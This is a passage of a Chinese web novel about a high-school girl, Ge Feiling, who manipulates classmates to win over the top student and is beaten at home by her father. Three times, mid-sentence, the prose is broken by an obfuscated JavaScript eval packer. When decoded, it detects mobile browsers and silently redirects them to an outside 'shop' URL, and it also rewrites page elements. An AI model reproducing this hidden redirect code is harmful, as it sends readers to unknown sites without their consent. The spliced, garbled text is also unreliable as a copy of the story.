他对自己特别的温柔,消失得丁点不剩,换成普通同学的态度。 “景……” 柴佳呆呆地坐在那儿,底气不足地想再挽留,他还是没给她留一个眼神。 将这一幕看进眼内的葛飞灵,用铅笔随手记:柴,out。 她现在明白柴佳没瞒她什么但也没怎么照她说的做。 从方才景浣对柴佳的态度来看,大约是识破了柴佳拙劣的演技。 对方太心急了,所以反而加速了出局的下场。 葛飞灵收拾好东西,准备中午就去找徐柔,柴佳的贸贸然让计划提前改道。 “让我送礼物?这也太老土了,能行么?”宿舍走廊上,徐柔趴在护栏上打哈欠。 “我帮你送,风险我来承担。”葛飞灵抱着书说。 徐柔总算提起点精神,“好像也行,你和男神同班确实方便,但我一时之间想不到能送他啥啊,他跟我们班那些二流子又不一样。” “一开始先送零食吧,这个出不了错,后续送的次数多了,他就不得不主动来找你了。”葛飞灵为她画好一个大饼。 “唔,听上去是挺美的。”徐柔的眼里带了点希冀。 葛飞灵看她略有犹豫,先把之前的一百块还了,使激将法:“难道你不舍得花钱?” “当然不是好不好。”徐柔立刻反应变大,“我只是在愁不知道送他什么零食好,老子钱多得没地方花OK?” “自己慢慢想,但时不我待,实验班里有几个长得不错的总是送景浣东西……”她讲到这儿恰到好处地戛然而止,留徐柔自个体会。 “……靠。” 徐柔终于被激起了斗志,撂下狠话:“她们能送的,我也能送,她们不能送的我更要送。” 葛飞灵噙着一抹笑,“你有这份心就很好。” 她怂恿徐柔送礼物,并且由自己代送,当然是扩展和景浣接触的机会。 柴石头没用了,备用徐石头便派上用场。 明面上她做苦力为徐柔做牛做马,实则看在景浣眼里的,只有她一个人。 * 第一节晚修休息,景浣刚去饮水机装完水回来,有一搭没一搭地和班长闲聊。 “早读的物理卷你花的时间多长?” 景浣一边听着,一边整理桌洞里各科的练习册,随口应:“大概二十几分钟?” “真的吗?那我和你的距离不远了。”卓星宇兴高采烈。 “恭喜班长大人。”景浣配合地回他。 一只纤细莹白的手敲过他的桌子。 景浣侧头,是许久没来问题目的葛飞灵。 “怎么了?”景浣停下手上的一切,细心地望了眼她手腕处的伤是否痊愈。 葛飞灵把藏在背后的练习册亮出来,厚度明显不均匀,但她仍面色不改地放到他桌上。 “翻开第123页。”她稍微撇过目光说,脸上闪过羞涩。 卓星宇伸长脖子想瞧清楚,同桌不知是故意还是无心的,左手压着练习册翻开,右胳膊将另一半书页竖立。 恰恰好好挡住了他求知的视线。 卓星宇:“……” 今天她的语气不像往常那样,景浣猜测她应该找自己另有他意,他翻到指定的页数,映入眼帘是一条白巧克力。 进口货,不便宜。 还有一张卡片:【送给你的。】 景浣眼睑微动,对上她有些不好意思的目光,“抱歉,这道题我不会。” 他拒绝了。 葛飞灵倒不意外,毕竟前边这么多人尝尽办法都失败了,如果她第一次就成功了才蹊跷。 “对、对不起。”葛飞灵装出被撞破心事的羞愧,迅速拎走练习册和夹在其中的巧克力。 她把徐柔那张写得歪歪扭扭的卡片撤掉,换成自己的字迹以及没标署名,故意营造出是她表白的错觉。 她也明白一旦处理不好,景浣会因此烦她。 “女神给你看什么了?她怎么就…”卓星宇整个脑袋跟着女生的背影转动,直至看不见,他才回过神质问同桌。 千万别是告白千万别是…… 景浣:“没什么。” “不可能,你刚才还把练习册立起来,肯定是心虚。” “真没什么。”景浣提起笔写待会儿的晚修安排表。 “可是她眼睛都红了……”卓星宇仍巴巴地望着某个方向。 景浣正写到生物分配的半小时,落笔把“时”字写错了。 同桌过于在意异性这件事上,他开口提醒道:“高考剩的时间不多了,有什么念头,等高考后再实施比较好。” 卓星宇叹气“唉”了一声,“你成绩高你说了算。” 他何尝不懂这个道理呢,但在青春萌动的年纪里真的说控制就能控制得了吗。 “你去找景浣干嘛?问题目这么快回来?” 葛飞灵才坐热椅子不久,柴佳迫不及待地讨问细节。 “对,那道题挺简单的,他快速解决问题难道不好么?”葛飞灵收好那本练习册。 “……好吧。”柴佳失落溢于言表。 葛飞灵假装没注意她的神色,状似不经意地提:“对了,你最近没找景浣是对的,我昨天撞见有个外班的女孩告白,景浣拒绝后头也不回地走了,估计他心里烦不胜烦。” 柴佳整张脸白了白。 “是、是吗……” 葛飞灵刻意强调地点头,说:“幸好你没去找他,不然跟那女孩一样下场。景浣这个人,你不表明心迹还好,一旦表明直接没戏。” 眼角的余光扫到同桌彻底白了脸,嘴唇翕动,一时失去了语言能力。 “不过没事。”葛飞灵打一巴掌再给颗甜枣,“你始终和他同一个班,来日方长。” 柴佳忽然拉紧她的校服袖子,牛头不对马嘴地:“飞灵我以后绝对会认认真真听你的话。” “嗯?”葛飞灵演出疑惑不解的表情,压着嫌弃的心情让柴佳抓着。 她发现不管是柴佳毛巧贞还是景浣,这些人都有毛病,不碰她的身体就说不了话似的。 “别蹭,我涂了防晒霜。”葛飞灵阻止同桌欲进一步的亲近。 柴佳仿佛被骆驼压死最后一根稻草,要不是葛飞灵用草稿本挡在脸前,对方可能真会扑上来亲她。 晚上熄灯后,毛巧贞也按捺不住找她聊。 “飞灵,今天景浣怎么回事儿,我瞧他脸色好像不太对。” 葛飞灵一边擦拭着脸,一边回:“你以后就会发现,柴佳接近不了他了。” “!”毛巧贞一秒破功,“太好了,景浣终于 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“我收了第一个,就会有第二个第三个甚至更多。”景浣已经停了笔尖,只是仍未抬头看她。 “只,只收我一个的就好。”她的音量越来越低,快淹没在班内的吵闹中。 男生一动不动,暂停的右手继续做着未完的填空题。 就在葛飞灵犹豫是否用更可怜的语调时,景浣又搁下笔,终于抬眸望向她,“为什么突然执着地要送我礼物?” 他一如既往地坦荡如砥。 葛飞灵顿了顿,眼泪还没挤出来他先正面对质了,她忙低下头:“想感谢你上次给我送药的好意。” “可你没收下,我又有什么理由收你的……”他话说到一半,她重新抬起的脸上眼圈一片湿红。 景浣后面的话卡在喉咙。 葛飞灵要的就是这个效果,不等他反应,重复昨天的结局,拿回练习册落荒而逃。 教室里依旧熙熙攘攘,过了两三秒,景浣收敛情绪,继续写被打断思路的题目。 * 第三天也是第三次。 成败在此一举。 葛飞灵将前两次的礼物放到一块,把自己冒充的卡片摘掉,剩下正主抄得歪歪扭扭的情话卡片。 她又想了想,也扔了徐柔的三张卡片。 得让徐柔死心的同时仍抱有希望,这样她以后需要的时候,照样可以挑动对方。 葛飞灵凝视桌洞里一次比一次贵的零食,巧克力、日本布丁和手工饼干,徐柔很舍得下本钱。 如果她对自己也有景浣的十分之一好,葛飞灵说不定也许会帮她到底。 时针缓缓指向八。 下课铃刚打响没多久,葛飞灵起身,再次走到景浣的座位附近。 “别为难我了,你收了吧。”这回没有习题遮掩,葛飞灵把装着零食的小袋子摆到他面前。 班上议论声渐起,一边是景浣又招蜂引蝶的光芒,一边是新晋班花近来的惹眼举动。 这两人凑到一起就像娱乐圈的顶级流量,非常有讨论度,使实验班的八卦欲望up。 “葛飞灵居然也动了追景浣的心思,我的天。” “他们站在一起很养眼。”停顿一下,“比毛巧贞顺眼得不是一丁半点。” “横竖不都是嫉妒,只不过毛巧贞黏景浣太久罢了,你审美疲劳了吧。” “我觉得班花很大胆诶,她居然敢光明正大跟景浣告白。” “不知者无畏,她新来的怎么知道多少前人全死在后浪上失败而归呢。” 12. 14% 周围的人津津乐道地谈论,葛飞灵站在喧嚣中看着他。 卓星宇很紧张地盯着同桌的反应。 景浣检查着错题本,额发落到他眉目,光线阴影交叠着遮掩了他眼内的情绪。 “这个问题我已经回答过你了。”他的语气听不出喜怒。 葛飞灵稍稍垂眸,很委屈地问:“你是不是很讨厌我?” 教室吵得像大蒸笼。 她说了两遍,景浣才听清楚这句话。 “……不是。”景浣翻本子的速度减慢,他放在桌沿的手被她的校服衣摆压着,她浑然不知。 “那你为什么不肯收呢?”她泫然欲泣。 卓星宇看不下去了,“景浣要不你就……” “因为我不能收。”景浣似乎被她触及到底线了,一字一句地道明,“现在是高三,不是高一,不是高二,没必要把时间浪费在我身上。” 言外之意是高考为重,她这样做不值得。 他板着脸严肃的样子跟昊磷有点像。 班里莫名静了许多。 面前的女生鼻尖微红,脸色苍白,忍着眼泪小心翼翼地:“你生气了么?” 然后她好像终于撑不下去,闭了闭眼,一言不发地快步离开,一时之间连袋子也忘了拿走。 班级渐渐恢复成原先的喧哗。 “看吧,我就说班花会碰壁。” “何止是碰壁,直接跌成滑铁卢了好不好。” “估计明天就开始传景浣不近美色残忍拒绝班花的八卦了。” …… 卓星宇唉声叹气又气恼。 他想责怪景浣的不近人情,但话正要脱口,又发现自己没有立场指责。 毕竟那番话在理,他完全没有理由反驳。 “…你这样不太好吧,她一个女孩子家。”卓星宇愁眉苦脸,只能发些无意义的牢骚。 景浣没回他。 不一会儿,晚修的铃声打响。 桌上的蓝白袋子随风微微颤动,他置之不理。 最后一节晚修结束,放学的教室人来人往,景浣开始处理那袋子。 景浣扫了一眼,里面是三份零食的总和,还贴了张黄色便利贴。 笔迹跟上次见到的不一样。 毛巧贞正要过来帮忙解释,“景浣,其实飞灵她……” 他抬手打断对方,“稍等。”从袋子撕出那张便利贴。 【这是我朋友徐柔送给你的,她的一份心意。】 “这下你知道了吧。”毛巧贞参考飞灵给她的台词,“她朋友死皮赖脸的,飞灵心太软就答应了,没想到你反而误会她了。” 景浣捏着便利贴,默了几秒,视线落到后排的座位。 空了。 她今晚走得很早。 “我会找个时间跟她道歉。”景浣垂下眼睑,淡淡说。 毛巧贞打着葛飞灵的幌子意图和他再聊,景浣则将袋子收进桌洞,匆匆结束了对话。 * 葛飞灵在作文素材上见过一副名家插画。 画中的小人踩一块石头就踢掉一块,一路顺畅地往上跳。 她联想到自己,也是这样用完就弃。 第一个柴佳,第二个便是徐柔。 一边让她们在景浣那儿被踢出局,一边又得让她们心存期待。 徐柔托她送礼物的第五天,整个人由发梢沮丧到脚尖。 “……今天早上第二节课间男神主动来找我了,可是……” 食堂排山倒海的吵让人安心地倾述秘密。 葛飞灵顺着话茬接:“可是什么?” 尽管她早就猜到了。 “可是他一句话没跟我说,把礼物原封不动还回来了,然后我还特别倒霉地被教导主任揪到,说我骚扰男同学交往过密??”徐柔狠狠骂了一声操。 葛飞灵眉眼一顿,“你被罚写检讨书了?” “不然呢?”徐柔最恨书面作业,咬牙切齿,“那老头逮着我骂,说我成何体统伤风败俗,天知道我连景浣的一根手指都没碰着啊,要是我俩当场在床上被抓到那我还认,反正睡了男神写三万字检讨也值了。” “教导主任没骂他么?”葛飞灵不适地转移话题。 她有时受不了徐柔开黄腔。 “没。”徐柔提及景浣就平和很多,没有那么不忿了,“教导主任认出男神,让他先走了。” 葛飞灵:“……” “说实话,之前我以为男神是整体远看比较帅,身材和脸搭配得超好,今天超级近盯着他的时候,发现他近看细节也好完美啊。”徐柔又开始犯花痴,捧脸作少女姿态。 葛飞灵无言。 她没料到徐柔对景浣痴迷到这种程度,连受虐都像在磕糖。 提前准备好的念想忽然没了放出来的必要。 隔了几秒,葛飞灵仍是决定放钩子,先打断徐柔的意淫,“袋子里的东西有缺什么吗?” “啊?没有吧。” 可徐柔的记忆力比她想象中差。 葛飞灵放弃高级引导,直接提醒:“你写的那几张卡片在么?” “对哦,你说我才想起情书没还回来。” “那他把你的卡片留下了,说明什么?” “什么啊?”徐柔像复读机般重复。 “说明他口是心非,对你还是有感觉的。” “真的假的…”徐柔被说得破天荒害羞,但脑袋迅速诚实地浮现出景浣盯着自己情书看的深情画面。 葛飞灵这回没打断她的幻想,该说的话已经说完了。 事情有条不紊地朝着设计好的方向发展。 下午,办公室内。 昊磷排着电脑上的座位表,一边拖动鼠标一边回忆学生们各自的特点。 “报告。”前门被推开,景浣和卓星宇一起过来交作业。 昊磷亲切地招呼他的左右手,“你们来了啊。班长,这次没漏交的吧?” 不等卓星宇回答没有。 隔壁的同事笑道:“老昊说笑呢,你们实验班哪有不交作业的啊。” “难说。”昊磷笑眯眯,得了便宜还卖乖。 “尤其你们班的景浣,真是,我教过多少届的学生也没见着这么好的苗子,今早科长对他可是赞不绝口,说他帮忙逮到一个老是迟到的差生,终于把人好好教训了一顿。” 昊磷没有深想,像自家孩子被夸一样乐呵呵:“噢是吗?你别说,我高二刚接手这个班的时候,看见他还以为他进错班了哈哈哈,长得太俊确实容易让人忽略他的优点。” 卓星宇讪笑着,揶揄一句受欢迎的同桌:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233429|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你在办公室也好火。” 景浣随口应了声,面上备着礼貌的笑意。 “你们先回去吧。”昊磷终于记起他们的存在,又喊住卓星宇,“对了班长,下午调座位,跟班里说好放学后就调,待会儿第二节下课过来拿座位表。” “好的。”卓星宇点点头。 他正要和景浣一起离开,景浣却说他有事要留一下。 “什么事?” 景浣回他:“有个很小的知识点没弄懂。” “行,那我先走了。” “好的。” “怎么又回来了?”昊磷望着自己最满意的好学生,颇为关切。 “老师,我能看看座位表么?” “哈哈这么心急啊,老师还没排好。”昊磷二话不说地挪了挪电脑屏幕,让他看得更方便。 “谢谢老师。”景浣认真地侧过头浏览座位表上的名字,眼眸一动不动。 他大概用三秒就扫到自己的位置,然后看见同桌依旧是卓星宇。 这是昊磷的一贯做法。 一对同桌只要成绩稳定,基本不会变,只有成绩不稳定会被大调。 “老师,我记得那位新同学……”景浣一开口,昊磷马上打起十二分精神,有些头疼,“那爱哭的小姑娘又有什么问题?” 又? “没什么事。”景浣用笑容魅力融化对方的忧虑,“她经常过来请教我,说挺想和我坐的,这样方便不少。” 昊磷懂他的意思了。 “不过这样,你们第一第二坐到一块,资源分配不合理啊,两座高峰聚到一块扶不了贫。” 景浣被他逗笑,“难道老师不想拥有两座珠穆朗玛峰吗?” 昊磷登时眉开眼笑,说:“你这孩子真会说,行啊,老师答应你了。” 他带着笑容目送走景浣,同事这时又来拿他寻开心,“老昊你就不担心这学生早恋啊,连我去高一代课都有女生追着我问他的事。” “你不知道,这孩子特别让人省心,我可不怕。” * “门口我标出来了,大家开始调吧。” 卓星宇打开投影仪,将新鲜出炉的座位表贴到机器上,调整对焦。 座位表几秒后清晰地放大。 喧哗声渐起,大家不约而同地望向景浣的座位,视线从投影屏滑到本人身上。 …… 在班长还没把座位顺序投影出来之前,葛飞灵抓紧时间去了趟卫生间。 等她回到教室,班上的同学投来的目光忽然有些奇怪,与往常不太一样。 她没怎么在意,反正自己早被看习惯了。 直到她第二眼抬头见到幕布上的座位表。 “……” 葛飞灵继前天的事情之后,第一次没避开他的视线。 这两天,她一直在按照计划躲避对方。 但可惜计划赶不上变化。 这诡异不合常理的座位安排。 昊磷脑袋被驴子踢坏了? 葛飞灵心情降到冰点,垂眸藏住眼底的阴霾。 还未走到原座位,毛巧贞一脸羡慕地拉住她,“天呐飞灵,老昊居然把景浣安排和你一起坐了,我、我有点……”这是她做梦都想发生的事啊,她一时不知该替好友高兴还是为自己失望。 13. 16% 毛巧贞仔细深想,从高二开始,景浣就没跟班里的女生坐过,本来她已经死了这条心,没想到飞灵一来就得到了。 “待会儿再聊。”葛飞灵低声打断她。 “……噢好。”毛巧贞回过神,松开了手。 葛飞灵走回自己的座位,一阵阵刺耳的桌椅摩擦声响着。 柴佳欲言又止的模样,她假装没看见。 新座位在第二组第五排。 葛飞灵站在原地好一会儿,才开始收拾桌面的东西,面无表情地用脚推着桌椅走。 她躲景浣,为了让他的愧疚积少成多,原本的计划是下课躲、中午或者晚修躲,但现在座位的安排把她逼到更近的距离。 连上课也要防着躲着,她真没这么多精力。 而且期中考的时间也快到了。攻略进度偏偏在这时被打乱。 葛飞灵把桌子搬到景浣附近的时候,前桌的人忽地往她这边撞了一下。 桌上的保温杯摇摇欲坠,她正要伸手去扶稳,旁边的手比她更快,有力地接住倾斜的杯子。 “……” 葛飞灵顺着修长的手指望过去,果然是他。 面容映着光的男生冲她笑,仔细认真地摆正她的保温杯。 景浣替她扶好杯子,然后又帮她将桌子严丝缝合地靠近他的桌沿。 做完这一切,他正打算跟她谈谈,女生则在搬好桌椅后,迅速抱起几本书离开座位。 和前两天的反应如出一辙。 景浣按按眉骨,无奈地笑,随后慢慢放下微翘的嘴角。 这么久了,她的气还没消。 这两天,景浣试过去找她道歉谈清楚,但对方避他如蛇蝎,见了就跑,根本不给他开口说话的机会。 她总有各式理由回避他,上卫生间、要早点回宿舍洗澡、先做完这道题等等。 碰了这么多回壁,景浣并没有气恼,他待对方更像看一位不懂事的晚辈,包容多于气恼。 再等等看吧。他最后想,心中不禁莞尔。 六点二十几分的时候,班内基本全到齐。 除了被叫去办公室的卓星宇和葛飞灵。 景浣六点十分就回来了,新位置新同桌,他依旧照平常来制定晚修安排。 只是,指针从昊磷规定的六点半也划过去之后,景浣习惯性瞥了眼墙上的时钟。 她还没回来。 宁愿迟到也要减少和他相处的时间么? 景浣收回目光,低头继续做练习册的习题。 良久,教室外漏进一点班主任偏粗的嗓音。 纪律严明的实验班依然安静,没有交头接耳也没抬头探究。 景浣也是其中的一员,不受影响地写着大题。 不一会儿,轻缓的脚步由远及近,随后身边的椅子被拉开,清浅的一点香气飘近他的鼻尖。 挨着纸面的笔稍停一秒,景浣这一秒在重新连接忽然断掉的思路。 疑似沐浴露和洗发水的香气却越来越浓,久久萦绕在他的鼻尖。 景浣握着笔顿住,五秒后终于找回解题思路,未完成的题目得以继续。 他花了几分钟把那道题解决掉,然后撕下半张草稿纸,给她写了句“下课别走”的请求。 然后把草稿纸递到她的桌面。 她没有抬头。 景浣的余光扫到她不为所动后,心里叹了口气,打算下课再跟她当面聊。 葛飞灵这时忽然弯下腰,从桌洞找着书。 还未干透的长发离得更近,发尾几乎要碰到他的右臂。 景浣是在见到她眼角挂着的泪珠之后才伸手抓住了她,一边在纸上写“你怎么又哭”,一边抽出纸巾给她擦泪。 葛飞灵下意识扭过头,抗拒他的意味十足。 她只是刚给昊磷演完的眼泪没干而已,这人怎么又碰她的手。 葛飞灵不情愿地做口型警告:你放开。 他像瞎子一样在草稿纸回复她:【没事吧,上次的事是我不对。】 我说你放开。 她厌恶地挣扎着,又不敢反应太大惊扰周围惹来关注。 景浣低眸看着她不肯看他的别扭神情,深思熟虑两秒,终于顺其自然地放开。 【对不起,下课可以谈谈吗?】 葛飞灵马上带着椅子往右挪,紧急拉开适宜的距离。 她现在状态很不好,计划变更本来就够烦心,又恰逢碰上宿舍停水,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233430|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 困在浴室里浪费了十几分钟,最终导致迟到又被昊磷训了一顿。 不是一般烦。 她暂时没有心思去应付景浣。 反正按照计划也是晾他一段时间,只不过刚才不小心露出了抗拒他的真实态度。 顾不上对方怎么想了。葛飞灵控制着烦躁的情绪,逼迫自己去写作业。 以后的难题以后再解决。 * 音响准时响起下课铃。 “等一下。”景浣已经够快喊出口了,她还是照走不误,一点儿情面没给他留。 “嘿嘿谁让你直接落班花面子。”前面八卦的好事者转过身来,忍不住调侃,“现在自吞苦果了吧。” “是我误会她了。” “误会什么了?照我说啊,景浣你就应该先答应下来,说高考之后再谈不就行了?” 景浣一声没吭。 对方浑然不觉,滔滔不绝道:“我真想不通,这么美的你居然也拒绝了,你不要给我啊。” “开玩笑要有度。”景浣看着他,脸上少见地不苟言笑。 “……行吧。” 对方被他威慑到,心虚地摸了摸鼻子,灰溜溜地转回身去。 等课间的十五分钟耗完,葛飞灵才蜗行牛步回到座位。 这时大家已经进入学习的状态,教室万般寂静。 不料她刚坐下,景浣又将一张草稿纸塞过来。 【对不起,我郑重地向你道歉,你不必为了赌气耽误自己的学习时间。】 葛飞灵将纸上的内容收进眼底,脸上的表情很浅。 但心里那团因各种事挤在一起的火气还没消,她仍需要时间调整,实在懒得揣测他目前的愧疚度有多高。 她头也不抬地重新埋头做题泄愤,捏着黑笔不停默念relax。 然而景浣的坚持真的很烦。 他压低声线用气音问:“就因为这件事,难道你要躲一整年?” 葛飞灵不适地偏过头,一边陷入沉默,一边不动声色地保持距离。 许久,景浣终于等来她正面的回应。 她说:“明天我去找班主任换座位。” 景浣没料及这回复,眉毛微皱。 14. 18% 葛飞灵话一出口,才发现自己太冲动。 明天要是恢复心情,大概率会打脸。 她懊悔着,愈发不想面对他,垂下眼睑当无事发生一般。 “你。”景浣只讲了一个字,剩下的内容如鲠在喉。 他并不是想强迫她来企求原谅,只是想弥补自己的过错。 但她似乎真被伤透了心,做的事说的话强硬得不像之前的胆小。 景浣看着她,调整脸上的表情,神色缓和下来,最后专注回学业。 他算不上偏执的性格,逼人太紧只会适得其反。 …… 葛飞灵靠作业来转移注意力,她沉迷于题海中,努力忘记外界的烦恼。 但是。 临近晚修下课剩余十分钟,葛飞灵将当晚的作业全做完了,习惯性抽出那本笔记本时,忽然惊觉同桌不再是柴佳,而是存在感极强的景浣。 本尊就坐在她旁边,她不得不时刻警惕了,以免暴露。 葛飞灵把笔记本塞回去,拿出便利贴,铅笔戳到便利贴上,却又一时忘了该记什么。 理智渐渐回笼,不等明天,她现在就意识到刚才的举动莽撞蠢过头了。 怎么挽救?她静静地思考着这个问题。 下课铃很快敲响。 葛飞灵抿着唇,只剩一个思路,也是最直接的方法。 她快速写了句话,等到有人来问景浣的时候,才将便利贴送出去。 然后立刻走掉,回避他读后感的在线反馈。 盼着解答、嗷嗷待哺的男同学:“?” 景浣略感意外,及时拾起那张便条。 【对不起,我今天心情不好,说的话不作数。】 男同学见着景浣脸上的表情柔和不少,嘴角扬起一点弧度,他更加不明所以了:“??” “景浣啊,这道题……” “好的,我看看。”景浣收好便条,带着笑意看回练习册上的题。 * 第二天是周六,早上照例一波测验,然后中午放人。 新的计划还未成形之前,葛飞灵暂时和他“相安无事”地处着,基本和柴佳的相处模式一样,除了发卷子和作业本,没有多余的交流。 考试到一半,休息的空隙,景浣居然问她:“是不是还在生气?” 葛飞灵蹙眉:“?” “没有,我恢复正常了。”她不带感情地说。 他的手就垂在她相隔不到十厘米的桌沿,跟她说话还会再拉进一些距离,好让她听得更清晰。 但葛飞灵不是聋子,班里没这么吵,同桌的间距就已经超出她的承受范围了,柴佳是女孩子一定程度上减轻了她的恐惧,换成景浣之后她还需要时间适应。 “你好像都不怎么问我问题了。”景浣随口说,见她没排斥自己的意思放心不少,“我以为你还在赌气。” 葛飞灵不着痕迹地侧过身,有效空出了些许间隙,她斟酌着回:“不是,最近没做到什么难题,所以才没问。” “嗯,那就好。” 对方总算放过她了。 下午,葛飞灵做完作业去奶茶店报道,正要换布偶装干活,口袋里的手机“嗡嗡”地震动。 来电是葛岭,她看也不看地直接挂断,摁下关机键。 结果葛飞灵兼完职回去,葛岭就在楼下大门守株待兔等着她,身上穿着睡衣和一双拖鞋,头发乱糟糟。 葛飞灵无视他,打算越过他进去。 一直不遗余力抹黑和她争宠的弟弟伸手拦住她,欠扁地开口:“为什么挂我电话?” “接你电话有钱捡吗?”葛飞灵冷冰冰地看他。 葛岭只比她矮几公分,但气势不比她弱,小小年纪就懂得如何将人气出心脏病。 “你该不会出去卖来挣钱吧?” 葛飞灵相抵的指尖泛白,忍着,“你别仗着我的愧疚蹬鼻子上脸,我没你想的那么好脾气。” “是吗姐姐。”葛岭的笑沾上恶魔的灵魂,“你肯承认自己的错了?当初骗我去爬树,果然就是想让我死掉啊。” 她掐着掌心压抑怒火,说:“是又怎样,难道我这十几年来挨的打还不够你泄愤么?” “不够,哪里够呢。” 葛岭长得像妈,秀气的五官如天使面孔,但是说出来的话恶毒万分,“你活该,爸一句话都没骂错,你就是个除了脸一无是处的贱人,只会骗人利用人,谁娶你谁倒霉!” “说完了么,说完就回家。” 葛飞灵已经对这种来自亲人的车轱辘听到生厌。 “家?”葛岭肆无忌惮地嘲笑她,“姐姐,你好天真哦。” 下一秒,他向前凑近说: “你怎么比我还天真,居然还把一个不属于你的房子当家,爸天天这么打你,你该不会还念着他以前疼你的日子吧?” 这一句话戳到了葛飞灵最在意的痛点。 在没有葛岭之前,她是全世界最受宠的公主,爸愿意把手上的一切奉到她面前。 然而弟弟出生后,爸对她逐渐冷落,剩下妈不时的温暖,但当时他仍未打过她,只是将疼爱分给了葛岭一半。 直至后来,葛岭从树上坠落,摔坏了脑子,在医院养了几个月出来,被打得遍体鳞伤的她已经没了位置。 她讨厌葛岭,从妈怀胎十月开始问期不期待有人和她作伴开始,她就讨厌这个未出生、将会是竞争对手的弟弟。 爸时常骂她自私,骂她不知好歹,不懂感恩。 葛飞灵起初还会反驳,到后面已经不再顶嘴惹得满身伤痕。 她学会了用眼泪来伪装,用乖巧来掩饰不屑,用沉默来降到最低的伤害。 “你是不是又没钱了?我给你。”葛飞灵懒得和他争辩,从裤兜掏出刚收的工资,扔到他面前。 葛岭“啧”一声,嫌弃道:“才这么点啊,你还不如去卖呢。” “啪!” 葛飞灵终于压不住那股气,扬手给了他一记响亮的耳光,“那你卖屁股比我更值钱,怎么不去嗯?” 葛岭没料到她会出手,怔愣两三秒,被打的左脸迅速浮肿起一个手掌印。 “……你敢打我?” “你嘴贱别怪人收拾。”葛飞灵尽管知道回家后会面对什么,她依旧镇定,“真以为我不敢碰你?我怜惜你是我的亲生弟弟才由着你,但你一次次消耗我对你的耐心。” “哦那我还得感谢你了姐姐?”葛岭仇恨地盯着她,“你有种别回家,不然我让爸把你打得连学也上不了。” 葛飞灵脑内迅速有了应对的措施。 但她一直没对家人使心机那套,一起生活了十七年,她仍觉得真实的自己是对家人最后的坦诚。 可是现实总喜欢让她切身体会了痛楚来明白道理。 葛岭比她先回到家,葛飞灵刚进家门,迎面就挥来一扫把棍子,她猝不及防被打得腿骨酸软,直接跪在地上。 紧接着随之而来的便是不分青红皂白的一顿猛打,葛宏康根本不给她解释喘息的时间,或者说他压根不需要,仿佛只要葛岭一句颠倒黑白的话,他就能发怒冲过来杀了她谢罪。 葛飞灵咬牙忍着不吭声,硬生生扛下来。 她在内心发誓,这是最后一次。 第一就快唾手可得,她也不想忍下去了。 徐柔也说过她,只要她乖乖的,哄骗一下父母和那个爱争宠的弟弟,葛宏康并不会打她太狠。 然而她总是耐心有限,忍了一次又反抗一次,捡了芝麻丢西瓜,最终消耗掉爸对她本来就少得可怜的感情。 从对付景浣的实践中,她也明白了,处心积虑远比真心相待赢得更多。 如果不耍心机,她就不能重得父母的爱。 既然如此,人不为己天诛地灭。 她决定将另一个计划提前。 葛飞灵默不作声地流着两行清泪,眨眼便掉下一颗,这般可怜的姿态终于让挨打的速度慢下来。 她睁开眼,抓紧时机望着葛宏康哀求:“爸爸,下个星期要开家长会了,我这次期中考考了级第一,老师说一定要见见你,想知道你怎么养育出优秀的女儿。” 着重突出第一的成绩,以及,恭维的话永远不过时。 葛宏康本来打得有点累了,瞧葛飞灵比平时哭得早,油然升起一股驯服家畜的自豪感,心想她可算是被打到听话了。 然而让他真正停下责罚的,是传进耳内“第一”和“老师”的关键字眼。 葛宏康一向重视光宗耀祖和面子,他迫不及待地问:“你真考了第一?能去T大吗?” 他之前总是听阿岭说一中也不过如此,没拿到鸡头都比不过人家的凤尾,结果女儿还真挣出这股出息了? 葛飞灵一边点头一边仰起头,视线同时扫到葛岭又想挑拨离间的嘴,她抢在前边说:“当然可以,爸你知道我上的是重点高中,其实前三还有保送的机会,照老师的预计,级前十都能去很好的学校。” 葛飞灵着重强调了之前级第二也不差的那句话。防止他又被葛岭的话洗脑。 “爸……你忘了她刚才打我……”葛岭不甘示弱,捂着脸惺惺作态,马上又被她先抢台词。 爸的脸色已经松动了不少,葛飞灵见状继续巧言令色,带着哭腔说:“我不是故意的,是弟弟说你很容易被糊弄,硬拉着我的手来打他,然后回家骗你…我、我根本没使劲。” 没见过这么颠倒黑白的,葛岭火大地吼:“艹,你他妈乱讲什么?你甩的耳光还不认啊?婊/子!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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葛飞灵站在厨房帮忙,虽然身上的伤口仍隐隐作痛,但是成功赢得一场漂亮战的喜悦让她忘了痛。 桂美娣心疼地抚了抚女儿手和站不稳的腿,“委屈你了,飞灵,还能考出好成绩。” “没事的妈。”葛飞灵无所谓地笑笑,“爸也是为我好,棍棒之下出孝子,我明白的。” 在母亲这边也不能落下形象,她顺着对方的心意说出这番虚情假意的话。 妈果然感动又欣慰,摸着她的手说:“飞灵你能明白就好。” 葛飞灵弯着嘴角,给予桂美娣更多的心安。 * 这周末她过得不错。 葛宏康喝多了发酒疯,但是也奖励了她平时不敢奢望的零花钱。 “飞灵,其实我也知道你恨我的,不过你恨就恨吧,嫁出去的女儿泼出去的水。” 